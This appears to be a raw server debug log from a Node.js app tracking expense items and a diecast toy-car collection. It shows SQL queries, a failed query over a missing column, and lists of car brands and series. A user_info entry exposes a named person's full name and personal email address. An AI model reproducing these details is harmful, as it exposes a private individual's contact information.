    category_name: 'Alcohol'
  },
  {
    item_name: 'Godfather Beer',
    item_id: 536,
    category_name: 'Alcohol'
  },
  {
    item_name: 'Bira Super Strong Beer',
    item_id: 544,
    category_name: 'Alcohol'
  },
  {
    item_name: 'Tuborg Strong',
    item_id: 562,
    category_name: 'Alcohol'
  },
  { item_name: 'Breezers', item_id: 641, category_name: 'Alcohol' },
  { item_name: 'Vodka', item_id: 644, category_name: 'Alcohol' },
  {
    item_name: '6 Fields Beer',
    item_id: 720,
    category_name: 'Alcohol'
  },
  {
    item_name: 'Kingfisher Beer',
    item_id: 766,
    category_name: 'Alcohol'
  },
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'School Dress', item_id: 662, category_name: 'Apparel' },
  {
    item_name: 'Jocket Trouser',
    item_id: 734,
    category_name: 'Apparel'
  },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Baby Care' },
  {
    item_name: 'Johnson Baby Product',
    item_id: 162,
    category_name: 'Baby Care'
  },
  { item_name: 'Pampers', item_id: 181, category_name: 'Baby Care' },
  {
    item_name: 'Feeder Bottle',
    item_id: 187,
    category_name: 'Baby Care'
  },
  {
    item_name: 'Mamy Poko Pankts',
    item_id: 196,
    category_name: 'Baby Care'
  },
  { item_name: 'Baby Socks', item_id: 247, category_name: 'Baby Care' },
  {
    item_name: 'Johnson Baby Cream',
    item_id: 249,
    category_name: 'Baby Care'
  },
  { item_name: 'Baby Items', item_id: 250, category_name: 'Baby Care' },
  { item_name: 'Huggies', item_id: 290, category_name: 'Baby Care' },
  {
    item_name: 'Cold Drink',
    item_id: 59,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Tea',
    item_id: 100,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Nimu soda',
    item_id: 141,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Flavored Mojito',
    item_id: 281,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Rajbhog Shake',
    item_id: 294,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mint Mojito',
    item_id: 296,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Lassi',
    item_id: 298,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Choco Freaky Shake',
    item_id: 317,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mango Thick Shake',
    item_id: 331,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Strawberry Shake',
    item_id: 333,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Labab shake',
    item_id: 349,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mix Fruit Shake',
    item_id: 351,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Chochlate Shake',
    item_id: 352,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Strawberry Freaky shake',
    item_id: 357,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Black Current shake',
    item_id: 361,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mango Juice',
    item_id: 400,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Monster Energy Drink',
    item_id: 420,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Real Fruit Juice',
    item_id: 466,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Lays Classic',
    item_id: 467,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Tonic WaterSchweppes',
    item_id: 478,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Hell Energy Drink',
    item_id: 479,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Soda',
    item_id: 485,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Kesar Pista Shake',
    item_id: 497,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Predator Energy Drink',
    item_id: 516,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Sting Enery Drink',
    item_id: 520,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mint Soda Ice cream',
    item_id: 522,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Bombay Banta',
    item_id: 528,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Coke Sugar Free',
    item_id: 537,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Charged Energy Drink',
    item_id: 545,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Orange Juice',
    item_id: 576,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Alo Energy Drink',
    item_id: 659,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Iced Americano Cold Coffee',
    item_id: 660,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Gulkand Pan Shake',
    item_id: 700,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Hersheys Milk Shake',
    item_id: 716,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Motherdairy Masala Chach',
    item_id: 718,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Bale Juice',
    item_id: 723,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Anar Juice',
    item_id: 726,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Nimbu Juice',
    item_id: 731,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Badam Shake',
    item_id: 733,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'House Premium',
    item_id: 45,
    category_name: 'Bills, EMIs & Subscriptions'
  },
  ... 600 more items
]
2026-07-13T10:03:33.288Z server-connect:app Executing action step identify
2026-07-13T10:03:33.288Z server-connect:app options: { provider: 'security' }
2026-07-13T10:03:33.288Z server-connect:output identity: 1
2026-07-13T10:03:33.288Z server-connect:app Executing action step restrict
2026-07-13T10:03:33.288Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:03:33.289Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-07-13T10:03:33.290Z server-connect:app Executing action step identify
2026-07-13T10:03:33.290Z server-connect:app options: { provider: 'security' }
2026-07-13T10:03:33.290Z server-connect:output identity: 1
2026-07-13T10:03:33.290Z server-connect:app Executing action step restrict
2026-07-13T10:03:33.290Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:03:33.292Z server-connect:output restrict: undefined
2026-07-13T10:03:33.292Z server-connect:app Executing action step paged
2026-07-13T10:03:33.292Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-07-13T10:03:33.296Z server-connect:output Error at list: Error: select count(*) as `Total` from (select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id`) as `t1` limit 1 - Unknown column 'diecast_cars.has_real_car' in 'field list'
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_BAD_FIELD_ERROR',
  errno: 1054,
  sqlState: '42S22',
  sqlMessage: "Unknown column 'diecast_cars.has_real_car' in 'field list'",
  sql: 'select count(*) as `Total` from (select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id`) as `t1` limit 1'
}
2026-07-13T10:03:33.296Z server-connect:output restrict: undefined
2026-07-13T10:03:33.296Z server-connect:app Executing action step select
2026-07-13T10:03:33.296Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-07-13T10:03:33.298Z server-connect:server Got error? Error: select count(*) as `Total` from (select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id`) as `t1` limit 1 - Unknown column 'diecast_cars.has_real_car' in 'field list'
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_BAD_FIELD_ERROR',
  errno: 1054,
  sqlState: '42S22',
  sqlMessage: "Unknown column 'diecast_cars.has_real_car' in 'field list'",
  sql: 'select count(*) as `Total` from (select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id`) as `t1` limit 1'
}
2026-07-13T10:03:33.299Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-07-13T10:03:33.300Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 },
  { name: 'Alpine', id: 196 },
  { name: 'Lexus', id: 197 }
]
2026-07-13T10:03:33.301Z server-connect:app Executing action step identify
2026-07-13T10:03:33.301Z server-connect:app options: { provider: 'security' }
2026-07-13T10:03:33.301Z server-connect:output identity: 1
2026-07-13T10:03:33.301Z server-connect:app Executing action step restrict
2026-07-13T10:03:33.301Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:03:33.302Z server-connect:output restrict: undefined
2026-07-13T10:03:33.302Z server-connect:app Executing action step select
2026-07-13T10:03:33.302Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-07-13T10:03:33.304Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 196, name: 'Alpine' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 197, name: 'Lexus' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-07-13T10:03:33.304Z server-connect:app Executing action step select
2026-07-13T10:03:33.304Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-07-13T10:03:33.305Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-07-13T10:03:33.305Z server-connect:app Executing action step select
2026-07-13T10:03:33.305Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-07-13T10:03:33.306Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-07-13T10:03:37.419Z server-connect:router Serving serverConnect /api/diecast/list
2026-07-13T10:03:37.420Z server-connect:app Executing action step identify
2026-07-13T10:03:37.420Z server-connect:app options: { provider: 'security' }
2026-07-13T10:03:37.420Z server-connect:output identity: 1
2026-07-13T10:03:37.421Z server-connect:app Executing action step restrict
2026-07-13T10:03:37.421Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:03:37.421Z server-connect:output restrict: undefined
2026-07-13T10:03:37.422Z server-connect:app Executing action step paged
2026-07-13T10:03:37.422Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
